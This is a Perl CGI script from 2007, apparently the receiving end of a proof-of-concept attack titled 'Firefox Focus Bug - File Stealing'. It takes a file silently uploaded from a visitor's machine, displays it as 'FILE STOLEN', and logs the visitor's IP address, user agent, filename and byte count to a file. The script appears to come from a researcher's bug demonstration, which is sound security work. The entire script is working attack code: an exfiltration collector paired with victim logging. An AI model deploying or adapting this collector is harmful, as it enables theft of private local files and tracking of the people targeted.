#!/usr/bin/perl -w
#
# Copyright (c) 2007, Gregory Fleischer (gfleischer@gmail.com)
#
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#  
#   1. Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#   2. Redistributions in binary form must reproduce the above copyright
#      notice, this list of conditions and the following disclaimer in
#      the documentation and/or other materials provided with the
#      distribution.
#   3. The names of the authors may not be used to endorse or promote
#      products derived from this software without specific prior
#      written permission.
#  
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
# IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
#

use CGI;
use strict;
use CGI::Carp qw(fatalsToBrowser);
use HTML::Entities;
use IO::File;
use Fcntl ':flock';

$CGI::POST_MAX = 1024 * 32;  # maximum upload filesize is 32K
$CGI::XHTML = 0;

my $q = new CGI();

my $filename = ($q->param("file1") || "");
my $h = \&HTML::Entities::encode;
my $fh = $q->upload("file1");

print $q->header(-type => "text/html; charset=iso-8859-1", 
		 -cache_control => 'no-cache, no-store');

my $bytes = 0;

if (!$filename || $q->cgi_error() || !defined($fh)) {
    my $title = "Firefox Focus Bug - File Stealing - ERROR";
    print $q->start_html($title);
    print $q->h3($title);
    print $q->p("The target file is missing or too large.");
} else {
    my $title = "Firefox Focus Bug - File Stealing - FILE STOLEN";
    print $q->start_html($title);
    print $q->h3($title);
    print $q->p("File stolen: " . &$h($filename));
    print "<textarea rows=20 cols=80>\n";
    my ($read, $buf);
    while ($read = read($fh, $buf, 512)) {
	print &$h($buf);
	$bytes += $read;
    }
    close($fh);
    print "</textarea>\n";
}

print << 'EOFHTML' ;
      <hr>
	<div>
	  <a href="./plausible.html"
	    style="position: absolute; left: 1em"
	    >Back</a>
	</div>
</body>
</html>

EOFHTML
    ;

# log file
{
    my $logfile = "upload.log";
    my $log = new IO::File($logfile, "a");
    if ($log and flock($log, LOCK_EX)) {
	eval {
	    print $log "=" x 32, "\n";
	    print $log "time: ", scalar(localtime()), "\n";
	    print $log "addr: ", $q->remote_addr(), "\n";
	    print $log "ua: ", $q->user_agent(), "\n";
	    print $log "filename: ", $filename, "\n";
	    print $log "bytes: ", $bytes, "\n";
	};
	flock($log, LOCK_UN);
	undef $log;
	print STDERR $@ if $@;
    }
}

